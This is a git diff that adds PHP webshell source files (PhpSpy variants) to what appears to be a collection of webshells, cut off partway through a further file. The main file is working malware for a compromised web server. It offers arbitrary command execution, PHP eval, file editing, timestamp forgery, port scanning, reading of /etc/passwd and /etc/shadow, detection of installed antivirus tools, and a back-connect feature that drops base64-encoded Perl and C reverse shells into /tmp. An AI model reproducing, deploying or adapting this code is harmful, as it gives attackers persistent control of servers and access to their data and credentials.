Current dababase: '.$dbname.''); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Structure ]'); + } + p('

'); + + $sql_query = isset($P['sql_query']) ? $P['sql_query'] : ''; + + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename LIMIT 0, 30"; + } + if ($tablename && $doing == 'structure') { + $sql_query = "SHOW FULL COLUMNS FROM $tablename;\n"; + $sql_query .= "SHOW INDEX FROM $tablename;"; + } + p('

Run SQL query/queries on database '.$dbname.':

'); + if ($sql_query) { + $querys = @explode(';',$sql_query); + foreach($querys as $num=>$query) { + if ($query) { + p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); + switch($DB->query_res($query)) + { + case 0: + p('

'.$DB->halt('Error').'

'); + break; + case 1: + $result = $DB->query($query); + $tatol = $DB->num_rows($result); + p(''); + p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + p(''); + } + p(''); + + if (!$tatol) { + p(''); + } else { + while($mn = $DB->fetch($result)){ + $thisbg = bg(); + p(''); + //¶ÁÈ¡¼Ç¼Óà + foreach($mn as $key=>$inside){ + p(''); + } + p(''); + unset($b1); + } + } + p('
'.@mysql_field_name($result, $i).'
No records
'.(($inside == null) ? 'null' : html_clean($inside)).'
'); + break; + case 2: + p('

Affected Rows : '.$DB->affected_rows().'

'); + break; + } + } + } + } else { + $query = $DB->query("SHOW TABLE STATUS"); + $table_num = $table_rows = $data_size = 0; + $tabledb = array(); + while($table = $DB->fetch($query)) { + $data_size = $data_size + $table['Data_length']; + $table_rows = $table_rows + $table['Rows']; + $table_num++; + $tabledb[] = $table; + } + $data_size = sizecount($data_size); + unset($table); + if (count($tabledb)) { + if ($highver) { + $db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';")); + $db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';")); + } + $sort = array('Name', 1); + if($order) { + if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) { + $sort = array($match[1], (int)$match[2]); + } + } + usort($tabledb, 'cmp'); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + foreach ($tabledb as $key => $table) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + p(""); + p("
Name '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'Rows'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'Data_length'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'Create_time'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'Update_time'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'EngineCollationOther
'.$table['Name'].''.$table['Rows'].' '.sizecount($table['Data_length']).''.$table['Create_time'].' '.$table['Update_time'].' '.$table['Engine'].''.$table['Collation'].'Structure
 '.$table_num.' table(s)'.$table_rows.''.$data_size.'  '.$db_engine['Value'].''.$db_collation['Value'].' 
Save as file
"); + } else { + p('

No tables

'); + } + $DB->free_result($query); + } + } + $DB->close(); + } + formfoot(); +}//end mysql + +elseif ($act == 'backconnect') { + + !$p2 && $p2 = $_SERVER['REMOTE_ADDR']; + !$p3 && $p3 = '12345'; + $usedb = array('perl'=>'perl','c'=>'c'); + + $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + + if ($p1 == 'start' && $p2 && $p3 && $p4){ + if ($p4 == 'perl') { + cf('/tmp/angel_bc',$back_connect); + $res = execute(which('perl')." /tmp/angel_bc ".$p2." ".$p3." &"); + } else { + cf('/tmp/angel_bc.c',$back_connect_c); + $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/angel_bc.c'); + $res = execute("/tmp/angel_bc ".$p2." ".$p3." &"); + } + m('Now script try connect to '.$p2.':'.$p3.' ...'); + } + + formhead(array('title'=>'Back Connect', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;')); + p('

'); + p('Your IP:'); + makeinput(array('name'=>'p2','size'=>20,'value'=>$p2)); + p('Your Port:'); + makeinput(array('name'=>'p3','size'=>15,'value'=>$p3)); + p('Use:'); + makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4)); + makeinput(array('value'=>'Start','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +}//end + +elseif ($act == 'portscan') { + !$p2 && $p2 = '127.0.0.1'; + !$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958'; + formhead(array('title'=>'Port Scan', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;')); + p('

'); + p('IP:'); + makeinput(array('name'=>'p2','size'=>20,'value'=>$p2)); + p('Port:'); + makeinput(array('name'=>'p3','size'=>80,'value'=>$p3)); + makeinput(array('value'=>'Scan','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); + + if ($p1 == 'start') { + p('

Result »

'); + p(''); + } +} + +elseif ($act == 'eval') { + $phpcode = trim($p1); + if($phpcode){ + if (!preg_match('#<\?#si', $phpcode)) { + $phpcode = ""; + } + eval("?".">$phpcode'Eval PHP Code', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;')); + maketext(array('title'=>'PHP Code','name'=>'p1', 'value'=>$phpcode)); + p('

Get plugins

'); + formfooter(); +}//end eval + +elseif ($act == 'editfile') { + + // ±à¼­Îļþ + if ($p1 == 'edit' && $p2 && $p3) { + $fp = @fopen($p2,'w'); + m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed')); + @fclose($fp); + } + $contents = ''; + if(file_exists($p2)) { + $fp=@fopen($p2,'r'); + $contents=@fread($fp, filesize($p2)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;')); + makeinput(array('title'=>'Filename','name'=>'p2','value'=>$p2,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'p3','value'=>$contents)); + formfooter(); + goback(); + +}//end editfile + +elseif ($act == 'newtime') { + $filemtime = @filemtime($p1); + + formhead(array('title'=>'Clone folder/file was last modified time', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;')); + makeinput(array('title'=>'Alter folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference folder/file','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1)); + formfooter(); + + formhead(array('title'=>'Set last modified', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;')); + makeinput(array('title'=>'Current folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Modify time','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1)); + formfooter(); + + goback(); +}//end newtime + +elseif ($act == 'shell') { + formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;')); + p('

'); + makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1))); + makeinput(array('class'=>'bt','type'=>'submit','value'=>'Execute')); + p('

'); + formfoot(); + + if ($p1) { + p('
'.execute($p1).'
'); + } +}//end shell + +elseif ($act == 'phpenv') { + $d=array(); + if(function_exists('mysql_get_client_info')) + $d[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $d[] = "MSSQL"; + if(function_exists('pg_connect')) + $d[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $d[] = "Oracle"; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',(isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'))), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',(getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed')), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',($dis_func ? $dis_func : 'No')), + 24 => array('Supported databases',implode(', ', $d)), + 25 => array('cURL support',function_exists('curl_version') ? 'Yes' : 'No'), + 26 => array('Open base dir',getcfg('open_basedir')), + 27 => array('Safe mode exec dir',getcfg('safe_mode_exec_dir')), + 28 => array('Safe mode include dir',getcfg('safe_mode_include_dir')), + ); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('

'.$hp[$a].' »

'); + p(''); + } +}//end phpenv + +elseif ($act == 'secinfo') { + + if( !IS_WIN ) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no'); + secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no'); + secparam('OS version', @file_get_contents('/proc/version')); + secparam('Distr name', @file_get_contents('/etc/issue.net')); + $safe_mode = @ini_get('safe_mode'); + if(!$GLOBALS['safe_mode']) { + $temp=array(); + foreach ($userful as $item) + if(which($item)){$temp[]=$item;} + secparam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(which($item)){$temp[]=$item;} + secparam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(which($item)){$temp[]=$item;} + secparam('Downloaders', implode(', ',$temp)); + secparam('Hosts', @file_get_contents('/etc/hosts')); + secparam('HDD space', execute('df -h')); + secparam('Mount options', @file_get_contents('/etc/fstab')); + } + } else { + secparam('OS Version',execute('ver')); + secparam('Account Settings',execute('net accounts')); + secparam('User Accounts',execute('net user')); + secparam('IP Configurate',execute('ipconfig -all')); + } +}//end + +else { + m('Undefined Action'); +} + +?> + +
+ + querycount.' queries'; + } + ?> + + Powered by 2013 final. Copyright (C) 2004-2013 [S4T] All Rights Reserved. +
+ + + +'.$n.' »'); + p('
'); + if(strpos($v, "\n") === false) + p($v.'
'); + else + p('
'.$v.'
'); + p('
'); + } +} +function m($msg) { + echo '
'; + echo $msg; + echo '
'; +} +function s_array($array) { + return is_array($array) ? array_map('s_array', $array) : stripslashes($array); +} +function scookie($key, $value, $life = 0, $prefix = 1) { + global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; + $key = ($prefix ? $cookiepre : '').$key; + $life = $life ? $life : $cookielife; + $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; + setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); +} +function loginpage() { + formhead(); + makehide('act','login'); + makeinput(array('name'=>'password','type'=>'password','size'=>'20')); + makeinput(array('type'=>'submit','value'=>'Login')); + formfoot(); + exit; +} +function execute($cfe) { + $res = ''; + if ($cfe) { + if(function_exists('system')) { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } elseif(function_exists('passthru')) { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } elseif(function_exists('shell_exec')) { + $res = @shell_exec($cfe); + } elseif(function_exists('exec')) { + @exec($cfe,$res); + $res = join("\n",$res); + } elseif(@is_resource($f = @popen($cfe,"r"))) { + $res = ''; + while(!@feof($f)) { + $res .= @fread($f,1024); + } + @pclose($f); + } + } + return $res; +} +function which($pr) { + $path = execute("which $pr"); + return ($path ? $path : $pr); +} +function cf($fname,$text){ + if($fp=@fopen($fname,'w')) { + @fputs($fp,@base64_decode($text)); + @fclose($fp); + } +} +function dirsize($cwd) { + $dh = @opendir($cwd); + $size = 0; + while($file = @readdir($dh)) { + if ($file != '.' && $file != '..') { + $path = $cwd.'/'.$file; + $size += @is_dir($path) ? dirsize($path) : sprintf("%u", @filesize($path)); + } + } + @closedir($dh); + return $size; +} +// Ò³Ãæµ÷ÊÔÐÅÏ¢ +function debuginfo() { + global $starttime; + $mtime = explode(' ', microtime()); + $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); + echo 'Processed in '.$totaltime.' second(s)'; +} + +// Çå³ýHTML´úÂë +function html_clean($content) { + $content = htmlspecialchars($content); + $content = str_replace("\n", "
", $content); + $content = str_replace(" ", "  ", $content); + $content = str_replace("\t", "    ", $content); + return $content; +} + +// »ñȡȨÏÞ +function getChmod($file){ + return substr(base_convert(@fileperms($file),10,8),-4); +} + +function PermsColor($f) { + if (!is_readable($f)) { + return ''.getPerms($f).''; + } elseif (!is_writable($f)) { + return ''.getPerms($f).''; + } else { + return ''.getPerms($f).''; + } +} +function getPerms($file) { + $mode = @fileperms($file); + if (($mode & 0xC000) === 0xC000) {$type = 's';} + elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} + elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} + elseif (($mode & 0x8000) === 0x8000) {$type = '-';} + elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} + elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} + elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} + else {$type = '?';} + + $owner['read'] = ($mode & 00400) ? 'r' : '-'; + $owner['write'] = ($mode & 00200) ? 'w' : '-'; + $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + $group['read'] = ($mode & 00040) ? 'r' : '-'; + $group['write'] = ($mode & 00020) ? 'w' : '-'; + $group['execute'] = ($mode & 00010) ? 'x' : '-'; + $world['read'] = ($mode & 00004) ? 'r' : '-'; + $world['write'] = ($mode & 00002) ? 'w' : '-'; + $world['execute'] = ($mode & 00001) ? 'x' : '-'; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} + if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} + if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} + + return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; +} + +function getUser($file) { + if (function_exists('posix_getpwuid')) { + $array = @posix_getpwuid(@fileowner($file)); + if ($array && is_array($array)) { + return ' / '.$array['name'].''; + } + } + return ''; +} + +function copy_paste($c,$f,$d){ + if(is_dir($c.$f)){ + mkdir($d.$f); + $dirs = scandir($c.$f); + if ($dirs) { + $dirs = array_diff($dirs, array('..', '.')); + foreach ($dirs as $file) { + copy_paste($c.$f.'/',$file, $d.$f.'/'); + } + } + } elseif(is_file($c.$f)) { + copy($c.$f, $d.$f); + } +} +// ɾ³ýĿ¼ +function deltree($deldir) { + $dirs = @scandir($deldir); + if ($dirs) { + $dirs = array_diff($dirs, array('..', '.')); + foreach ($dirs as $file) { + if((is_dir($deldir.'/'.$file))) { + @chmod($deldir.'/'.$file,0777); + deltree($deldir.'/'.$file); + } else { + @chmod($deldir.'/'.$file,0777); + @unlink($deldir.'/'.$file); + } + } + @chmod($deldir,0777); + return @rmdir($deldir) ? 1 : 0; + } else { + return 0; + } +} + +// ±í¸ñÐмäµÄ±³¾°É«Ìæ»» +function bg() { + global $bgc; + return ($bgc++%2==0) ? 'alt1' : 'alt2'; +} + +function cmp($a, $b) { + global $sort; + if(is_numeric($a[$sort[0]])) { + return (($a[$sort[0]] < $b[$sort[0]]) ? -1 : 1)*($sort[1]?1:-1); + } else { + return strcmp($a[$sort[0]], $b[$sort[0]])*($sort[1]?1:-1); + } +} + +// »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ +function getUpPath($cwd) { + $pathdb = explode('/', $cwd); + $num = count($pathdb); + if ($num > 2) { + unset($pathdb[$num-1],$pathdb[$num-2]); + } + $uppath = implode('/', $pathdb).'/'; + $uppath = str_replace('//', '/', $uppath); + return $uppath; +} + +// ¼ì²éPHPÅäÖòÎÊý +function getcfg($varname) { + $result = get_cfg_var($varname); + if ($result == 0) { + return 'No'; + } elseif ($result == 1) { + return 'Yes'; + } else { + return $result; + } +} + +// »ñµÃÎļþÀ©Õ¹Ãû +function getext($file) { + $info = pathinfo($file); + return $info['extension']; +} +function GetWDirList($path){ + global $dirdata,$j,$web_cwd; + !$j && $j=1; + $dirs = @scandir($path); + if ($dirs) { + $dirs = array_diff($dirs, array('..','.')); + foreach ($dirs as $file) { + $f=str_replace('//','/',$path.'/'.$file); + if(is_dir($f)){ + if (is_writable($f)) { + $dirdata[$j]['filename']='/'.str_replace($web_cwd,'',$f); + $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); + $dirdata[$j]['chmod']=getChmod($f); + $dirdata[$j]['perm']=PermsColor($f); + $dirdata[$j]['owner']=getUser($f); + $dirdata[$j]['link']=$f; + $j++; + } + GetWDirList($f); + } + } + return $dirdata; + } else { + return array(); + } +} +function sizecount($size) { + $unit = array('Bytes', 'KB', 'MB', 'GB', 'TB','PB'); + for ($i = 0; $size >= 1024 && $i < 5; $i++) { + $size /= 1024; + } + return round($size, 2).' '.$unit[$i]; +} +function p($str){ + echo $str."\n"; +} + +function makehide($name,$value=''){ + p(""); +} + +function makeinput($arg = array()){ + $arg['size'] = isset($arg['size']) && $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; + $arg['type'] = isset($arg['type']) ? $arg['type'] : 'text'; + $arg['title'] = isset($arg['title']) ? $arg['title'].'
' : ''; + $arg['class'] = isset($arg['class']) ? $arg['class'] : 'input'; + $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; + $arg['value'] = isset($arg['value']) ? $arg['value'] : ''; + if (isset($arg['newline'])) p('

'); + p("$arg[title]"); + if (isset($arg['newline'])) p('

'); +} + +function makeselect($arg = array()){ + $onchange = isset($arg['onchange']) ? 'onchange="'.$arg['onchange'].'"' : ''; + $arg['title'] = isset($arg['title']) ? $arg['title'] : ''; + $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; + p("$arg[title] "); +} +function formhead($arg = array()) { + !isset($arg['method']) && $arg['method'] = 'post'; + !isset($arg['name']) && $arg['name'] = 'form1'; + $arg['extra'] = isset($arg['extra']) ? $arg['extra'] : ''; + $arg['onsubmit'] = isset($arg['onsubmit']) ? "onsubmit=\"$arg[onsubmit]\"" : ''; + p("
"); + if (isset($arg['title'])) { + p('

'.$arg['title'].' »

'); + } +} + +function maketext($arg = array()){ + $arg['title'] = isset($arg['title']) ? $arg['title'].'
' : ''; + $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; + p("

$arg[title]

"); +} + +function formfooter($name = ''){ + !$name && $name = 'submit'; + p('

'); + p('
'); +} + +function goback(){ + global $cwd, $charset; + p('

'); +} + +function formfoot(){ + p(''); +} + +function encode_pass($pass) { + $k = 'angel'; + $pass = md5($k.$pass); + $pass = md5($pass.$k); + $pass = md5($k.$pass.$k); + return $pass; +} + +function pr($a) { + p('
'.print_r($a).'
'); +} + +class DB_MySQL { + + var $querycount = 0; + var $link; + var $charsetdb = array(); + var $charset = ''; + + function connect($dbhost, $dbuser, $dbpass, $dbname='') { + @ini_set('mysql.connect_timeout', 5); + if(!$this->link = @mysql_connect($dbhost, $dbuser, $dbpass, 1)) { + $this->halt('Can not connect to MySQL server'); + } + if($this->version() > '4.1') { + $this->setcharset($this->charset); + } + $dbname && mysql_select_db($dbname, $this->link); + } + function setcharset($charset) { + if ($charset && $this->charsetdb[$charset]) { + if(function_exists('mysql_set_charset')) { + mysql_set_charset($this->charsetdb[$charset], $this->link); + } else { + $this->query("SET character_set_connection='".$this->charsetdb[$charset]."', character_set_results='".$this->charsetdb[$charset]."', character_set_client=binary"); + } + } + } + function select_db($dbname) { + return mysql_select_db($dbname, $this->link); + } + function geterrdesc() { + return (($this->link) ? mysql_error($this->link) : mysql_error()); + } + function geterrno() { + return intval(($this->link) ? mysql_errno($this->link) : mysql_errno()); + } + function fetch($query, $result_type = MYSQL_ASSOC) { //MYSQL_NUM + return mysql_fetch_array($query, $result_type); + } + function query($sql) { + //echo '

'.$sql.'

'; + if(!($query = mysql_query($sql, $this->link))) { + $this->halt('MySQL Query Error', $sql); + } + $this->querycount++; + return $query; + } + function query_res($sql) { + $res = ''; + if(!$res = mysql_query($sql, $this->link)) { + $res = 0; + } else if(is_resource($res)) { + $res = 1; + } else { + $res = 2; + } + $this->querycount++; + return $res; + } + function num_rows($query) { + $query = mysql_num_rows($query); + return $query; + } + function num_fields($query) { + $query = mysql_num_fields($query); + return $query; + } + function affected_rows() { + return mysql_affected_rows($this->link); + } + function result($query, $row) { + $query = mysql_result($query, $row); + return $query; + } + function free_result($query) { + $query = mysql_free_result($query); + return $query; + } + function version() { + return mysql_get_server_info($this->link); + } + function close() { + return mysql_close($this->link); + } + function halt($msg =''){ + echo "

".htmlspecialchars($msg)."

\n"; + echo "

Mysql error description: ".htmlspecialchars($this->geterrdesc())."

\n"; + echo "

Mysql error number: ".$this->geterrno()."

\n"; + exit; + } + function get_fields_meta($result) { + $fields = array(); + $num_fields = $this->num_fields($result); + for ($i = 0; $i < $num_fields; $i++) { + $field = mysql_fetch_field($result, $i); + $fields[] = $field; + } + return $fields; + } + function sqlAddSlashes($s = ''){ + $s = str_replace('\\', '\\\\', $s); + $s = str_replace('\'', '\'\'', $s); + return $s; + } + // ±¸·ÝÊý¾Ý¿â + function sqldump($table, $fp=0) { + $crlf = (IS_WIN ? "\r\n" : "\n"); + $search = array("\x00", "\x0a", "\x0d", "\x1a"); //\x08\\x09, not required + $replace = array('\0', '\n', '\r', '\Z'); + + if (isset($this->charset) && isset($this->charsetdb[$this->charset])) { + $set_names = $this->charsetdb[$this->charset]; + } else { + $set_names = $this->charsetdb['utf-8']; + } + $tabledump = 'SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";'.$crlf.$crlf; + $tabledump .= '/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;'.$crlf + . '/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;'.$crlf + . '/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;'.$crlf + . '/*!40101 SET NAMES ' . $set_names . ' */;'.$crlf.$crlf; + + $tabledump .= "DROP TABLE IF EXISTS `$table`;".$crlf; + $res = $this->query("SHOW CREATE TABLE $table"); + $create = $this->fetch($res, MYSQL_NUM); + $tabledump .= $create[1].';'.$crlf.$crlf; + if (strpos($tabledump, "(\r\n ")) { + $tabledump = str_replace("\r\n", $crlf, $tabledump); + } elseif (strpos($tabledump, "(\n ")) { + $tabledump = str_replace("\n", $crlf, $tabledump); + } elseif (strpos($tabledump, "(\r ")) { + $tabledump = str_replace("\r", $crlf, $tabledump); + } + unset($create); + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + $tabledump = ''; + $rows = $this->query("SELECT * FROM $table"); + $fields_cnt = $this->num_fields($rows); + $fields_meta = $this->get_fields_meta($rows); + + while ($row = $this->fetch($rows, MYSQL_NUM)) { + for ($j = 0; $j < $fields_cnt; $j++) { + if (!isset($row[$j]) || is_null($row[$j])) { + $values[] = 'NULL'; + } elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type != 'timestamp' && !$fields_meta[$j]->blob) { + $values[] = $row[$j]; + } elseif ($fields_meta[$j]->blob) { + if (empty($row[$j]) && $row[$j] != '0') { + $values[] = '\'\''; + } else { + $values[] = '0x'.bin2hex($row[$j]); + } + } else { + $values[] = '\''.str_replace($search, $replace, $this->sqlAddSlashes($row[$j])).'\''; + } + } + $tabledump = 'INSERT INTO `'.$table.'` VALUES('.implode(', ', $values).');'.$crlf; + unset($values); + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + $this->free_result($rows); + } +} +?> \ No newline at end of file diff --git a/php/phpspy/phpspy2010.php b/php/phpspy/phpspy2010.php new file mode 100644 index 0000000..e729288 --- /dev/null +++ b/php/phpspy/phpspy2010.php @@ -0,0 +1,21 @@ + \ No newline at end of file diff --git a/php/phpspy/phpspy_2005_full.php b/php/phpspy/phpspy_2005_full.php new file mode 100644 index 0000000..5218800 --- /dev/null +++ b/php/phpspy/phpspy_2005_full.php @@ -0,0 +1,1211 @@ +"; + echo "×¢Ïú³É¹¦......

ÈýÃëºó×Ô¶¯Í˳ö»òµ¥»÷ÕâÀïÍ˳ö³ÌÐò½çÃæ>>>"; + exit; + } + if ($login) { + $adminpass=trim($_POST['adminpass']); + if ($adminpass==$admin['pass']) { + $_SESSION['adminpass'] = $admin['pass']; + echo ""; + echo "µÇ½³É¹¦......

ÈýÃëºó×Ô¶¯Ìø×ª»òµ¥»÷ÕâÀï½øÈë³ÌÐò½çÃæ>>>"; + exit; + } + } + if (session_is_registered('adminpass')) { + if ($_SESSION['adminpass']!=$admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } + } else { + /*------- cookie ÑéÖ¤ -------*/ + if ($_GET['action'] == "logout") { + setcookie ("adminpass", ""); + echo ""; + echo "×¢Ïú³É¹¦......

